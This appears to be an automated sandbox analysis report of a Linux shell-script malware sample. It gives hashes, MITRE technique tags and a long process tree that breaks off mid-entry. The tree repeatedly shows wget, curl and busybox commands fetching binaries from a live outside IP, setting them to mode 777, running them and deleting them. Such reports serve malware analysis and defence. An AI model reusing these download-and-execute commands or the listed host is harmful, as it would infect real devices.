c0342fcafa8963c7731797610b1819ea1b933e2912e890af714cb4ccbe036770

Analysis

max time kernel
115s
max time network
119s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
22/10/2024, 01:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
52811800fd025078b51abd1909ceed821fcc108e2b6ab78b3ba2fea2050bc06e.sh
Size 10KB
Sample241022-bqb99aybne
SHA256 52811800fd025078b51abd1909ceed821fcc108e2b6ab78b3ba2fea2050bc06e
MD5 6b048aa51bbc5730545d29ae130f452e
SHA1 8120e6acaa8ae119bcd838a263871c3b72af6988
SHA512 175791fe56233a657cdb58ffb3bb0152d75645171d8e310118f9afe1135af82d14a4908267b0f71bf3670653bbcba28cb14d8b640ebf8e475de1cefa7a20145b
SSDEEP 192:n910nNJYQ8mYtQt8trtAtgtNesrUq910nNJ8AAtQt8trtAtgtd1:0N8m4esrUhP81
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
951	chmod
939	chmod
945	chmod
915	chmod
855	chmod
909	chmod
879	chmod
897	chmod
861	chmod
903	chmod
933	chmod
843	chmod
921	chmod
969	chmod
798	chmod
849	chmod
873	chmod
891	chmod
975	chmod
791	chmod
831	chmod
885	chmod
927	chmod
957	chmod
963	chmod
734	chmod
867	chmod
741	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 10 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
922	BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP
794	wget
796	curl
799	BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP
800	rm
918	wget
919	curl
797	busybox
920	busybox
923	rm

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/36DpVhMX0YJ9lo9HZYkIEMJv7oh3bf07vE	curl
File opened for modification	/tmp/6gbRaTX3lh5P8bo1wxFkP7XJkALN76Y8m2	curl
File opened for modification	/tmp/HxjYKFccuVFj8fScmanKGz6PKEInJ9ya5L	curl
File opened for modification	/tmp/7BTHb1zH4LHWeNWdY7CzjS5soNnwn1UhBF	curl
File opened for modification	/tmp/86Hh404Ykd4vRYLJOjYS4ifWL6rmqr9qY2	curl
File opened for modification	/tmp/DF1OSH31xUW3KJSUzhYPNbfBTrTqfUXauS	curl
File opened for modification	/tmp/Hdaigu0xv4SB7YzvJQkNJt8a2RGxvmadUW	curl
File opened for modification	/tmp/HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs	curl
File opened for modification	/tmp/BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP	curl
File opened for modification	/tmp/86Hh404Ykd4vRYLJOjYS4ifWL6rmqr9qY2	curl
File opened for modification	/tmp/DF1OSH31xUW3KJSUzhYPNbfBTrTqfUXauS	curl
File opened for modification	/tmp/HxjYKFccuVFj8fScmanKGz6PKEInJ9ya5L	curl
File opened for modification	/tmp/UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd	curl
File opened for modification	/tmp/BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP	curl
File opened for modification	/tmp/7BTHb1zH4LHWeNWdY7CzjS5soNnwn1UhBF	curl
File opened for modification	/tmp/Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY	curl
File opened for modification	/tmp/Hdaigu0xv4SB7YzvJQkNJt8a2RGxvmadUW	curl
File opened for modification	/tmp/UBvm9F5XJ5boIEOBachVQqCVJFvx4GFIFL	curl
File opened for modification	/tmp/VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73	curl
File opened for modification	/tmp/Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY	curl
File opened for modification	/tmp/HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs	curl
File opened for modification	/tmp/UBvm9F5XJ5boIEOBachVQqCVJFvx4GFIFL	curl
File opened for modification	/tmp/UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd	curl
File opened for modification	/tmp/NttkxRqdz4K1KCT11n9L8oF8r1eCMH4IYs	curl
File opened for modification	/tmp/6gbRaTX3lh5P8bo1wxFkP7XJkALN76Y8m2	curl
File opened for modification	/tmp/VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73	curl
File opened for modification	/tmp/36DpVhMX0YJ9lo9HZYkIEMJv7oh3bf07vE	curl
File opened for modification	/tmp/NttkxRqdz4K1KCT11n9L8oF8r1eCMH4IYs	curl

/tmp/52811800fd025078b51abd1909ceed821fcc108e2b6ab78b3ba2fea2050bc06e.sh
/tmp/52811800fd025078b51abd1909ceed821fcc108e2b6ab78b3ba2fea2050bc06e.sh
1⤵
PID:704
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:706
- /usr/bin/wget
  wget http://87.120.126.196/bins/Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY
  2⤵
  PID:712
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:727
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY
  2⤵
  PID:733
- /bin/chmod
  chmod 777 Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /tmp/Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY
  ./Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY
  2⤵
  - Executes dropped EXE
  PID:735
- /bin/rm
  rm Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY
  2⤵
  PID:737
- /usr/bin/wget
  wget http://87.120.126.196/bins/HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs
  2⤵
  PID:738
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:739
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs
  2⤵
  PID:740
- /bin/chmod
  chmod 777 HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs
  ./HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs
  2⤵
  - Executes dropped EXE
  PID:742
- /bin/rm
  rm HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs
  2⤵
  PID:743
- /usr/bin/wget
  wget http://87.120.126.196/bins/UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd
  2⤵
  PID:744
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:777
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd
  2⤵
  PID:787
- /bin/chmod
  chmod 777 UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /tmp/UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd
  ./UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd
  2⤵
  - Executes dropped EXE
  PID:792
- /bin/rm
  rm UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd
  2⤵
  PID:793
- /usr/bin/wget
  wget http://87.120.126.196/bins/BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP
  2⤵
  - System Network Configuration Discovery
  PID:794
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:796
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP
  2⤵
  - System Network Configuration Discovery
  PID:797
- /bin/chmod
  chmod 777 BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /tmp/BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP
  ./BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:799
- /bin/rm
  rm BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP
  2⤵
  - System Network Configuration Discovery
  PID:800
- /usr/bin/wget
  wget http://87.120.126.196/bins/Hdaigu0xv4SB7YzvJQkNJt8a2RGxvmadUW
  2⤵
  PID:801
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/Hdaigu0xv4SB7YzvJQkNJt8a2RGxvmadUW
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:802
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/Hdaigu0xv4SB7YzvJQkNJt8a2RGxvmadUW
  2⤵
  PID:824
- /bin/chmod
  chmod 777 Hdaigu0xv4SB7YzvJQkNJt8a2RGxvmadUW
  2⤵
  - File and Directory Permissions Modification
  PID:831
- /tmp/Hdaigu0xv4SB7YzvJQkNJt8a2RGxvmadUW
  ./Hdaigu0xv4SB7YzvJQkNJt8a2RGxvmadUW
  2⤵
  - Executes dropped EXE
  PID:832
- /bin/rm
  rm Hdaigu0xv4SB7YzvJQkNJt8a2RGxvmadUW
  2⤵
  PID:835
- /usr/bin/wget
  wget http://87.120.126.196/bins/7BTHb1zH4LHWeNWdY7CzjS5soNnwn1UhBF
  2⤵
  PID:836
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/7BTHb1zH4LHWeNWdY7CzjS5soNnwn1UhBF
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:841
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/7BTHb1zH4LHWeNWdY7CzjS5soNnwn1UhBF
  2⤵
  PID:842
- /bin/chmod
  chmod 777 7BTHb1zH4LHWeNWdY7CzjS5soNnwn1UhBF
  2⤵
  - File and Directory Permissions Modification
  PID:843
- /tmp/7BTHb1zH4LHWeNWdY7CzjS5soNnwn1UhBF
  ./7BTHb1zH4LHWeNWdY7CzjS5soNnwn1UhBF
  2⤵
  - Executes dropped EXE
  PID:844
- /bin/rm
  rm 7BTHb1zH4LHWeNWdY7CzjS5soNnwn1UhBF
  2⤵
  PID:845
- /usr/bin/wget
  wget http://87.120.126.196/bins/86Hh404Ykd4vRYLJOjYS4ifWL6rmqr9qY2
  2⤵
  PID:846
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/86Hh404Ykd4vRYLJOjYS4ifWL6rmqr9qY2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:847
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/86Hh404Ykd4vRYLJOjYS4ifWL6rmqr9qY2
  2⤵
  PID:848
- /bin/chmod
  chmod 777 86Hh404Ykd4vRYLJOjYS4ifWL6rmqr9qY2
  2⤵
  - File and Directory Permissions Modification
  PID:849
- /tmp/86Hh404Ykd4vRYLJOjYS4ifWL6rmqr9qY2
  ./86Hh404Ykd4vRYLJOjYS4ifWL6rmqr9qY2
  2⤵
  - Executes dropped EXE
  PID:850
- /bin/rm
  rm 86Hh404Ykd4vRYLJOjYS4ifWL6rmqr9qY2
  2⤵
  PID:851
- /usr/bin/wget
  wget http://87.120.126.196/bins/36DpVhMX0YJ9lo9HZYkIEMJv7oh3bf07vE
  2⤵
  PID:852
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/36DpVhMX0YJ9lo9HZYkIEMJv7oh3bf07vE
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:853
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/36DpVhMX0YJ9lo9HZYkIEMJv7oh3bf07vE
  2⤵
  PID:854
- /bin/chmod
  chmod 777 36DpVhMX0YJ9lo9HZYkIEMJv7oh3bf07vE
  2⤵
  - File and Directory Permissions Modification
  PID:855
- /tmp/36DpVhMX0YJ9lo9HZYkIEMJv7oh3bf07vE
  ./36DpVhMX0YJ9lo9HZYkIEMJv7oh3bf07vE
  2⤵
  - Executes dropped EXE
  PID:856
- /bin/rm
  rm 36DpVhMX0YJ9lo9HZYkIEMJv7oh3bf07vE
  2⤵
  PID:857
- /usr/bin/wget
  wget http://87.120.126.196/bins/NttkxRqdz4K1KCT11n9L8oF8r1eCMH4IYs
  2⤵
  PID:858
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/NttkxRqdz4K1KCT11n9L8oF8r1eCMH4IYs
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:859
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/NttkxRqdz4K1KCT11n9L8oF8r1eCMH4IYs
  2⤵
  PID:860
- /bin/chmod
  chmod 777 NttkxRqdz4K1KCT11n9L8oF8r1eCMH4IYs
  2⤵
  - File and Directory Permissions Modification
  PID:861
- /tmp/NttkxRqdz4K1KCT11n9L8oF8r1eCMH4IYs
  ./NttkxRqdz4K1KCT11n9L8oF8r1eCMH4IYs
  2⤵
  - Executes dropped EXE
  PID:862
- /bin/rm
  rm NttkxRqdz4K1KCT11n9L8oF8r1eCMH4IYs
  2⤵
  PID:863
- /usr/bin/wget
  wget http://87.120.126.196/bins/DF1OSH31xUW3KJSUzhYPNbfBTrTqfUXauS
  2⤵
  PID:864
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/DF1OSH31xUW3KJSUzhYPNbfBTrTqfUXauS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:865
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/DF1OSH31xUW3KJSUzhYPNbfBTrTqfUXauS
  2⤵
  PID:866
- /bin/chmod
  chmod 777 DF1OSH31xUW3KJSUzhYPNbfBTrTqfUXauS
  2⤵
  - File and Directory Permissions Modification
  PID:867
- /tmp/DF1OSH31xUW3KJSUzhYPNbfBTrTqfUXauS
  ./DF1OSH31xUW3KJSUzhYPNbfBTrTqfUXauS
  2⤵
  - Executes dropped EXE
  PID:868
- /bin/rm
  rm DF1OSH31xUW3KJSUzhYPNbfBTrTqfUXauS
  2⤵
  PID:869
- /usr/bin/wget
  wget http://87.120.126.196/bins/UBvm9F5XJ5boIEOBachVQqCVJFvx4GFIFL
  2⤵
  PID:870
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/UBvm9F5XJ5boIEOBachVQqCVJFvx4GFIFL
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:871
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/UBvm9F5XJ5boIEOBachVQqCVJFvx4GFIFL
  2⤵
  PID:872
- /bin/chmod
  chmod 777 UBvm9F5XJ5boIEOBachVQqCVJFvx4GFIFL
  2⤵
  - File and Directory Permissions Modification
  PID:873
- /tmp/UBvm9F5XJ5boIEOBachVQqCVJFvx4GFIFL
  ./UBvm9F5XJ5boIEOBachVQqCVJFvx4GFIFL
  2⤵
  - Executes dropped EXE
  PID:874
- /bin/rm
  rm UBvm9F5XJ5boIEOBachVQqCVJFvx4GFIFL
  2⤵
  PID:875
- /usr/bin/wget
  wget http://87.120.126.196/bins/6gbRaTX3lh5P8bo1wxFkP7XJkALN76Y8m2
  2⤵
  PID:876
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/6gbRaTX3lh5P8bo1wxFkP7XJkALN76Y8m2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:877
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/6gbRaTX3lh5P8bo1wxFkP7XJkALN76Y8m2
  2⤵
  PID:878
- /bin/chmod
  chmod 777 6gbRaTX3lh5P8bo1wxFkP7XJkALN76Y8m2
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /tmp/6gbRaTX3lh5P8bo1wxFkP7XJkALN76Y8m2
  ./6gbRaTX3lh5P8bo1wxFkP7XJkALN76Y8m2
  2⤵
  - Executes dropped EXE
  PID:880
- /bin/rm
  rm 6gbRaTX3lh5P8bo1wxFkP7XJkALN76Y8m2
  2⤵
  PID:881
- /usr/bin/wget
  wget http://87.120.126.196/bins/HxjYKFccuVFj8fScmanKGz6PKEInJ9ya5L
  2⤵
  PID:882
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/HxjYKFccuVFj8fScmanKGz6PKEInJ9ya5L
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:883
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/HxjYKFccuVFj8fScmanKGz6PKEInJ9ya5L
  2⤵
  PID:884
- /bin/chmod
  chmod 777 HxjYKFccuVFj8fScmanKGz6PKEInJ9ya5L
  2⤵
  - File and Directory Permissions Modification
  PID:885
- /tmp/HxjYKFccuVFj8fScmanKGz6PKEInJ9ya5L
  ./HxjYKFccuVFj8fScmanKGz6PKEInJ9ya5L
  2⤵
  - Executes dropped EXE
  PID:886
- /bin/rm
  rm HxjYKFccuVFj8fScmanKGz6PKEInJ9ya5L
  2⤵
  PID:887
- /usr/bin/wget
  wget http://87.120.126.196/bins/VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73
  2⤵
  PID:888
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:889
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73
  2⤵
  PID:890
- /bin/chmod
  chmod 777 VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73
  2⤵
  - File and Directory Permissions Modification
  PID:891
- /tmp/VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73
  ./VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73
  2⤵
  - Executes dropped EXE
  PID:892
- /bin/rm
  rm VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73
  2⤵
  PID:893
- /usr/bin/wget
  wget http://87.120.126.196/bins/VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73
  2⤵
  PID:894
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:895
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73
  2⤵
  PID:896
- /bin/chmod
  chmod 777 VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73
  2⤵
  - File and Directory Permissions Modification
  PID:897
- /tmp/VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73
  ./VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73
  2⤵
  - Executes dropped EXE
  PID:898
- /bin/rm
  rm VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73
  2⤵
  PID:899
- /usr/bin/wget
  wget http://87.120.126.196/bins/Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY
  2⤵
  PID:900
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:901
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY
  2⤵
  PID:902
- /bin/chmod
  chmod 777 Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY
  2⤵
  - File and Directory Permissions Modification
  PID:903
- /tmp/Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY
  ./Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY
  2⤵
  - Executes dropped EXE
  PID:904
- /bin/rm
  rm Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY
  2⤵
  PID:905
- /usr/bin/wget
  wget http://87.120.126.196/bins/HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs
  2⤵
  PID:906
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:907
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs
  2⤵
  PID:908
- /bin/chmod
  chmod 777 HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs
  2⤵
  - File and Directory Permissions Modification
  PID:909
- /tmp/HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs
  ./HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs
  2⤵
  - Executes dropped EXE
  PID:910
- /bin/rm
  rm HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs
  2⤵
  PID:911
- /usr/bin/wget
  wget http://87.120.126.196/bins/UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd
  2⤵
  PID:912
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:913
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd
  2⤵
  PID:914
- /bin/chmod
  chmod 777 UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd
  2⤵
  - File and Directory Permissions Modification
  PID:915
- /tmp/UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd
  ./UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd
  2⤵
  - Executes dropped EXE
  PID:916
- /bin/rm
  rm UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd
  2⤵
  PID:917
- /usr/bin/wget
  wget http://87.120.126.196/bins/BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP
  2⤵
  - System Network Configuration Discovery
  PID:918
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:919
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP
  2⤵
  - System Network Configuration Discovery
  PID:920
- /bin/chmod
  chmod 777 BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP
  2⤵
  - File and Directory Permissions Modification
  PID:921
- /tmp/BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP
  ./BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:922
- /bin/rm
  rm BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP
  2⤵
  - System Network Configuration Discovery
  PID:923
- /usr/bin/wget
  wget http://87.120.126.196/bins/Hdaigu0xv4SB7YzvJQkNJt8a2RGxvmadUW
  2⤵
  PID:924
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/Hdaigu0xv4SB7YzvJQkNJt8a2RGxvmadUW
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:925
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/Hdaigu0xv4SB7YzvJQkNJt8a2RGxvmadUW
  2⤵
  PID:926
- /bin/chmod
  chmod 777 Hdaigu0xv4SB7YzvJQkNJt8a2RGxvmadUW
  2⤵
  - File and Directory Permissions Modification
  PID:927
- /tmp/Hdaigu0xv4SB7YzvJQkNJt8a2RGxvmadUW
  ./Hdaigu0xv4SB7YzvJQkNJt8a2RGxvmadUW
  2⤵
  - Executes dropped EXE
  PID:928
- /bin/rm
  rm Hdaigu0xv4SB7YzvJQkNJt8a2RGxvmadUW
  2⤵
  PID:929
- /usr/bin/wget
  wget http://87.120.126.196/bins/7BTHb1zH4LHWeNWdY7CzjS5soNnwn1UhBF
  2⤵
  PID:930
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/7BTHb1zH4LHWeNWdY7CzjS5soNnwn1UhBF
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:931
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/7BTHb1zH4LHWeNWdY7CzjS5soNnwn1UhBF
  2⤵
  PID:932
- /bin/chmod
  chmod 777 7BTHb1zH4LHWeNWdY7CzjS5soNnwn1UhBF
  2⤵
  - File and Directory Permissions Modification
  PID:933
- /tmp/7BTHb1zH4LHWeNWdY7CzjS5soNnwn1UhBF
  ./7BTHb1zH4LHWeNWdY7CzjS5soNnwn1UhBF
  2⤵
  - Executes dropped EXE
  PID:934
- /bin/rm
  rm 7BTHb1zH4LHWeNWdY7CzjS5soNnwn1UhBF
  2⤵
  PID:935
- /usr/bin/wget
  wget http://87.120.126.196/bins/86Hh404Ykd4vRYLJOjYS4ifWL6rmqr9qY2
  2⤵
  PID:936
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/86Hh404Ykd4vRYLJOjYS4ifWL6rmqr9qY2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:937
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/86Hh404Ykd4vRYLJOjYS4ifWL6rmqr9qY2
  2⤵
  PID:938
- /bin/chmod
  chmod 777 86Hh404Ykd4vRYLJOjYS4ifWL6rmqr9qY2
  2⤵
  - File and Directory Permissions Modification
  PID:939
- /tmp/86Hh404Ykd4vRYLJOjYS4ifWL6rmqr9qY2
  ./86Hh404Ykd4vRYLJOjYS4ifWL6rmqr9qY2
  2⤵
  - Executes dropped EXE
  PID:940
- /bin/rm
  rm 86Hh404Ykd4vRYLJOjYS4ifWL6rmqr9qY2
  2⤵
  PID:941
- /usr/bin/wget
  wget http://87.120.126.196/bins/36DpVhMX0YJ9lo9HZYkIEMJv7oh3bf07vE
  2⤵
  PID:942
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/36DpVhMX0YJ9lo9HZYkIEMJv7oh3bf07vE
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:943
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/36DpVhMX0YJ9lo9HZYkIEMJv7oh3bf07vE
  2⤵
  PID:944
- /bin/chmod
  chmod 777 36DpVhMX0YJ9lo9HZYkIEMJv7oh3bf07vE
  2⤵
  - File and Directory Permissions Modification
  PID:945
- /tmp/36DpVhMX0YJ9lo9HZYkIEMJv7oh3bf07vE
  ./36DpVhMX0YJ9lo9HZYkIEMJv7oh3bf07vE
  2⤵
  - Executes dropped EXE
  PID:946
- /bin/rm
  rm 36DpVhMX0YJ9lo9HZYkIEMJv7oh3bf07vE
  2⤵
  PID:947
- /usr/bin/wget
  wget http://87.120.126.196/bins/NttkxRqdz4K1KCT11n9L8oF8r1eCMH4IYs
  2⤵
  PID:948
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/NttkxRqdz4K1KCT11n9L8oF8r1eCMH4IYs
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:949
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/NttkxRqdz4K1KCT11n9L8oF8r1eCMH4IYs
  2⤵
  PID:950
- /bin/chmod
